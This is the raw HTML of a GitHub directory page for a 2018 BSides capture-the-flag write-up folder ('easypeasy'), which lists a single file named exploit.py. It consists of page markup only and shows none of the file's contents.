0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/bsides2018/easypeasy","user_id":null}}" data-hydro-click-hmac="70a1e9747c2b3ccb457a5d74c2ff76f3661ebd1dbb35b2173af6606bde4806c4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>bsides2018</span></span><span>/</span>easypeasy<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>bsides2018</span></span><span>/</span>easypeasy<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/bsides2018/easypeasy" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/bsides2018/easypeasy"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon 